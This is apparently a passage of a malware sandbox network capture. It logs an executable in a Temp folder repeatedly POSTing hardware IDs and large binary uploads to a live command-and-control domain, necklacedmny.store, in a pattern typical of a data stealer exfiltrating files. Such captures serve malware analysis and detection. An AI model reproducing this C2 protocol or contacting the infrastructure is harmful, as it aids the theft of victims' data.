2024-11-01 07:51:50 UTC	1369	IN	Data Raw: 79 34 57 42 62 67 77 5a 77 62 6d 6b 69 30 6d 69 31 37 5a 47 6c 75 62 36 34 6c 63 39 61 71 75 2f 2b 32 32 66 39 39 72 37 49 79 38 76 59 53 55 38 66 56 6b 42 36 65 44 4b 50 58 4e 44 39 6e 59 69 73 30 34 69 4a 36 30 4b 57 31 38 4c 7a 56 39 6a 66 6b 38 6a 37 70 75 55 34 56 34 73 47 54 47 5a 70 4e 75 70 77 6e 64 47 5a 6a 61 47 71 6b 62 6a 71 56 6f 71 65 32 34 4a 44 51 4a 75 7a 2b 4d 71 71 70 42 41 71 6d 79 5a 39 53 79 77 79 33 6c 53 6c 34 59 47 4e 6f 5a 4b 63 71 66 74 43 6c 74 2b 53 77 30 50 63 76 38 2f 49 38 37 37 70 4a 45 2b 4c 49 6d 68 53 51 53 50 7a 58 62 58 68 34 4c 6a 4d 73 6a 79 4a 7a 2f 4b 4b 6b 74 71 65 65 36 58 33 6d 2f 6e 57 79 39 6b 73 59 37 4d 47 65 45 5a 56 50 74 35 77 6e 66 6d 64 6d 5a 6e 36 68 49 58 76 52 70 62 44 77 76 74 48 2f 4f 2b 62 37 4e Data Ascii: y4WBbgwZwbmki0mi17ZGlub64lc9aqu/+22f99r7Iy8vYSU8fVkB6eDKPXND9nYis04iJ60KW18LzV9jfk8j7puU4V4sGTGZpNupwndGZjaGqkbjqVoqe24JDQJuz+MqqpBAqmyZ9Sywy3lSl4YGNoZKcqftClt+Sw0Pcv8/I877pJE+LImhSQSPzXbXh4LjMsjyJz/KKktqee6X3m/nWy9ksY7MGeEZVPt5wnfmdmZn6hIXvRpbDwvtH/O+b7N
2024-11-01 07:51:50 UTC	390	IN	Data Raw: 55 32 50 43 30 42 4a 6c 4c 72 4a 34 36 63 43 41 67 4b 32 50 69 64 6b 32 56 72 4c 6a 74 71 63 62 39 4c 65 61 79 43 71 54 32 55 6c 4f 2b 6a 71 59 52 6e 55 4b 37 6a 7a 77 79 52 33 68 68 61 37 49 70 59 39 72 6c 38 62 61 2b 6b 4b 68 75 72 37 49 78 2b 2f 59 53 51 37 53 56 78 6b 48 45 48 4f 36 47 59 32 59 67 65 43 73 30 38 47 41 30 78 2b 58 6e 74 76 2f 54 34 69 2f 6e 38 53 50 70 38 58 51 74 77 64 53 65 46 49 52 64 67 71 63 71 5a 57 31 6f 66 48 33 75 4f 33 66 62 71 37 6a 67 2b 4a 36 77 4d 71 47 71 44 4b 72 2b 43 69 79 6f 6a 6f 74 53 79 77 79 4a 6d 69 4e 78 5a 33 68 36 49 59 55 30 65 64 4f 79 72 72 62 32 6b 50 5a 39 75 61 4a 37 71 72 4a 62 55 37 36 65 77 55 6e 47 48 2b 76 4a 66 32 41 75 64 79 74 36 34 6e 59 6d 6d 2b 57 74 74 75 43 51 74 7a 37 7a 34 44 50 70 6f 45 Data Ascii: U2PC0BJlLrJ46cCAgK2Pidk2VrLjtqcb9LeayCqT2UlO+jqYRnUK7jzwyR3hha7IpY9rl8ba+kKhur7Ix+/YSQ7SVxkHEHO6GY2YgeCs08GA0x+Xntv/T4i/n8SPp8XQtwdSeFIRdgqcqZW1ofH3uO3fbq7jg+J6wMqGqDKr+CiyojotSywyJmiNxZ3h6IYU0edOyrrb2kPZ9uaJ7qrJbU76ewUnGH+vJf2Audyt64nYmm+WttuCQtz7z4DPpoE
2024-11-01 07:51:50 UTC	1369	IN	Data Raw: 38 30 36 0d 0a 63 47 5a 4a 79 67 72 63 67 66 6d 4e 67 4b 56 32 30 49 32 54 57 6f 4c 6a 49 68 74 37 33 4b 65 62 38 4d 2b 72 32 42 46 50 70 6a 73 73 72 30 77 54 38 70 6d 4d 2f 65 43 34 7a 4c 4a 63 74 65 74 75 69 71 65 66 31 38 2b 59 77 37 76 6b 30 71 76 67 4b 46 61 61 57 77 31 7a 54 53 4b 33 5a 64 53 38 79 4e 54 34 2f 39 58 34 6d 79 75 75 6d 74 71 36 51 71 47 2b 76 73 69 65 71 37 67 70 55 36 4d 4f 53 45 5a 31 50 72 6f 73 72 66 48 5a 74 4c 46 4b 63 44 33 6e 65 71 62 4c 35 73 2b 37 4f 48 4f 7a 35 4f 65 65 35 51 53 33 59 32 35 41 63 6e 55 75 71 69 47 30 78 49 47 45 72 4e 4a 74 75 50 4a 57 61 38 62 61 67 6b 4b 68 39 31 50 45 37 35 4c 46 63 41 71 76 76 6e 68 6d 66 51 62 4f 53 62 54 45 67 61 43 73 30 38 6d 41 30 30 62 54 2f 72 75 69 43 71 32 69 79 70 57 57 34 71 Data Ascii: 806cGZJygrcgfmNgKV20I2TWoLjIht73Keb8M+r2BFPpjssr0wT8pmM/eC4zLJctetuiqef18+Yw7vk0qvgKFaaWw1zTSK3ZdS8yNT4/9X4myuumtq6QqG+vsieq7gpU6MOSEZ1ProsrfHZtLFKcD3neqbL5s+7OHOz5Oee5QS3Y25AcnUuqiG0xIGErNJtuPJWa8bagkKh91PE75LFcAqvvnhmfQbOSbTEgaCs08mA00bT/ruiCq2iypWW4q
2024-11-01 07:51:50 UTC	692	IN	Data Raw: 49 74 54 4c 54 41 76 79 57 62 53 64 5a 4c 69 4d 73 6e 57 41 30 7a 65 58 6e 74 6f 33 54 2f 6a 50 6d 35 43 53 6e 6b 31 30 51 39 73 69 51 55 74 30 4d 75 74 6c 31 4c 79 34 75 62 33 33 69 64 69 53 48 2f 75 71 6c 37 34 43 69 49 71 2f 72 64 66 7a 32 45 6b 47 6f 6a 6f 46 53 79 77 7a 37 6d 6a 39 74 5a 6d 31 39 62 2b 55 51 53 76 4f 6d 72 76 79 5a 33 65 41 36 33 38 77 67 36 62 68 45 46 50 44 66 30 31 7a 54 51 2f 7a 42 46 44 38 6f 49 6d 31 76 74 47 35 4c 6d 2b 57 6e 74 75 43 51 78 54 37 76 2f 44 4c 38 70 77 63 31 35 64 2b 5a 4d 35 35 63 75 39 6c 6a 50 32 59 75 4d 7a 2f 73 62 6e 44 45 35 65 65 6d 36 6f 75 6c 62 72 61 69 5a 2f 58 34 55 31 50 77 6a 73 74 41 33 51 79 75 32 58 55 2f 4a 32 31 35 66 71 51 74 59 74 62 69 67 63 69 4e 30 2f 34 7a 35 75 51 41 36 61 64 4a 45 2b Data Ascii: ItTLTAvyWbSdZLiMsnWA0zeXnto3T/jPm5CSnk10Q9siQUt0Mutl1Ly4ub33idiSH/uql74CiIq/rdfz2EkGojoFSywz7mj9tZm19b+UQSvOmrvyZ3eA638wg6bhEFPDf01zTQ/zBFD8oIm1vtG5Lm+WntuCQxT7v/DL8pwc15d+ZM55cu9ljP2YuMz/sbnDE5eem6oulbraiZ/X4U1PwjstA3Qyu2XU/J215fqQtYtbigciN0/4z5uQA6adJE+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	57891	188.114.96.3	443	6380	C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 07:51:52 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-11-01 07:51:52 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 34 34 32 32 30 45 37 37 36 32 30 41 44 44 45 37 37 39 36 46 41 34 36 34 41 32 30 31 34 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"7144220E77620ADDE7796FA464A20147--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 07:51:52 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-11-01 07:51:52 UTC	1021	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:51:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qh6hh6buqdkhaff0e508b44h33; expires=Tue, 25-Feb-2025 01:38:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7V00ktDCO3UqikuBKYLs4fWuaUQZ8BTVJ0bVPwqx7fRYNBeWE9H3rCIOLc16fqkStlBM76WpN8mf0KGCfkTsqD7KCn5lgCo%2F1h5qgYIcNrbUuM1PLQcWHJy16%2BjgTbQf%2FN%2B42%2BM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dba4d569f47e599-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1150&sent=11&recv=23&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19132&delivery_rate=2387469&cwnd=251&unsent_bytes=0&cid=b1fe658d45e2a3a5&ts=483&x=0"
2024-11-01 07:51:52 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 07:51:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	57896	188.114.96.3	443	6380	C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 07:51:55 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-11-01 07:51:55 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 34 34 32 32 30 45 37 37 36 32 30 41 44 44 45 37 37 39 36 46 41 34 36 34 41 32 30 31 34 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"7144220E77620ADDE7796FA464A20147--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 07:51:55 UTC	1015	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:51:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=grfod2f1d2e2npp74egjhobuql; expires=Tue, 25-Feb-2025 01:38:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t8izi9jmOxXxs11Acuhqr2AsxaSJpVbtrWH1eii2mIJto55sWnmRIlZVb15pg3cyDbQzh5bOxe8LOWpMhRV3BBwItgbb%2FD%2Fzv%2FwEwhvNvv4UVaQ22mMIZSfASdLWL0uwSeuo1iU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dba4d699d8a359c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1003&sent=9&recv=14&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9730&delivery_rate=2839215&cwnd=251&unsent_bytes=0&cid=6e374d850f3e33b7&ts=604&x=0"
2024-11-01 07:51:55 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 07:51:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	57902	188.114.96.3	443	6380	C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 07:51:58 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
2024-11-01 07:51:58 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 34 34 32 32 30 45 37 37 36 32 30 41 44 44 45 37 37 39 36 46 41 34 36 34 41 32 30 31 34 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"7144220E77620ADDE7796FA464A20147--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 07:51:58 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-11-01 07:51:59 UTC	1017	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:51:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g3mpould1rff3f4jmuies80md6; expires=Tue, 25-Feb-2025 01:38:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1GjSHwbaY4d6MDxCmeEfse4cYDACq5dw8MVQAHmt8RRSNS9K21320sSB1Ib1e8RfFHjvmRgDWV%2B9%2BTGaK7Hv%2FZnO05pSTvmifHFnwIwomUFEDxb9JFFQwItq3wA4rqLT2YjcG0U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dba4d80f83b6b40-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1796&sent=11&recv=27&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21406&delivery_rate=1612472&cwnd=251&unsent_bytes=0&cid=c53091fd905516c6&ts=666&x=0"
2024-11-01 07:51:59 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 07:51:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	57907	188.114.96.3	443	6380	C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 07:52:03 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1342 Host: necklacedmny.store
2024-11-01 07:52:03 UTC	1342	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 34 34 32 32 30 45 37 37 36 32 30 41 44 44 45 37 37 39 36 46 41 34 36 34 41 32 30 31 34 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"7144220E77620ADDE7796FA464A20147--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 07:52:04 UTC	1012	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 07:52:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2b9678rb8gt66tc31tgu4hmi0i; expires=Tue, 25-Feb-2025 01:38:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NX2r6Zirp9YZxxOx%2FH6hH1sAkKdLfx5AuEBJ1SCIjb9rz0W3o6Etux78MdyvBTFnGKdE5sNoPCx%2BM4CHhq9XncZsV5YWXYUcdMfkNwQNpbQy4Ya%2BDhj0qbcfIJz3WiAxt1Dp7v4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dba4da13bd86b0d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=946&sent=6&recv=8&lost=0&retrans=1&sent_bytes=4242&recv_bytes=2261&delivery_rate=804146&cwnd=252&unsent_bytes=0&cid=b63edb681901c8f4&ts=498&x=0"
2024-11-01 07:52:04 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 07:52:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	57909	188.114.96.3	443	6380	C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 07:52:06 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551107 Host: necklacedmny.store
2024-11-01 07:52:06 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 34 34 32 32 30 45 37 37 36 32 30 41 44 44 45 37 37 39 36 46 41 34 36 34 41 32 30 31 34 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"7144220E77620ADDE7796FA464A20147--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 07:52:06 UTC	15331	OUT	Data Raw: 3a b9 0d 31 92 72 b4 ad 37 a4 22 07 02 34 b3 07 59 15 8d d8 8c 8e 05 b5 42 cf 6a 81 46 25 b2 33 b5 23 0c e0 4b 6e 5c 13 bb 03 33 8d 0d 2e 5c c1 61 5f 93 0e ab 3e b4 82 5f 8e a7 01 b1 32 68 43 4e 7a 65 2f de 17 03 e4 b8 df 70 1e 37 3f 35 95 4a bb 37 99 d8 e4 55 0e 5a 56 e6 b2 5e c3 9a d2 ec 6f d3 07 7a a1 65 fd 84 2e ab c8 19 f0 d6 9b 92 16 75 e0 e6 9f 2d 8f 59 a6 64 43 86 7e cd aa 64 d7 a8 ab 67 53 5c 74 a6 10 22 14 8b 67 f6 1d 8e d0 ef 5f 7c 36 ef 54 2f c4 8e e5 d8 67 86 13 c0 37 f1 4b a3 a4 a9 8d 77 5e e8 7d c6 8f 6d d3 ac 53 f8 d7 44 88 9d 86 22 ba ff b4 f7 d3 69 4a a6 bb ab b0 1b 8a 42 36 be 97 05 a2 95 1f ff a4 c4 87 0e 26 05 a6 10 5c ec 0b ca 40 a9 9d 90 b5 c5 a9 75 15 95 ce f3 f5 19 53 f9 f1 2a 8e d6 dd 21 8a f5 b7 df c2 52 d2 93 db 19 b1 09 30 5a Data Ascii: :1r7"4YBjF%3#Kn\3.\a_>_2hCNze/p7?5J7UZV^oze.u-YdC~dgS\t"g_\|6T/g7Kw^}mSD"iJB6&\@uS*!R0Z
2024-11-01 07:52:06 UTC	15331	OUT	Data Raw: 0a 5c 7f 74 9d e2 21 49 92 27 f7 11 b4 14 db d5 19 67 80 47 fe ef 33 df 1f f8 1c 7b 7a 46 c8 bc e0 c3 59 13 ca 1b 52 71 76 71 fd fd 67 6c 9f 17 81 bd 9f 2e 8c 9c de f8 f0 a1 46 b7 4e 46 32 3a 7c 01 66 5c 8f 76 97 a2 da 75 cf f5 9e 92 c6 ac e9 c1 71 a3 bc 29 f7 2b c7 e2 c1 d2 8f 1b b3 dc ad fd fd 61 ab 65 9a df 9e 9d be 4b 11 17 de b1 e5 00 1c 77 28 88 79 09 26 5a 45 69 b4 7d f5 31 d2 d4 2a 1c b8 17 13 a4 78 5f b6 b4 06 ba 1d 28 ed fd 19 49 23 af 1c cc 78 45 29 d9 b3 ab d0 af c1 50 cd 3e e7 ac 80 c7 3b 74 65 17 49 b8 4f e6 96 1e 7f b6 1d 91 eb 2d ae d1 15 c7 32 ba b4 d6 22 a8 d8 4d 0e 0c 4b c2 ca 24 a5 d4 aa d6 e9 03 1d aa 28 e3 c2 99 a8 18 d3 c1 71 d3 72 fe 97 55 99 ef b0 5d c6 b6 1e 3c ca 09 75 3e c9 c4 b7 bb 72 77 0a 61 ff ba 67 80 cd c8 9f 97 50 e7 88 Data Ascii: \t!I'gG3{zFYRqvqgl.FNF2:\|f\vuq)+aeKw(y&ZEi}1*x_(I#xE)P>;teIO-2"MK$(qrU]<u>rwagP
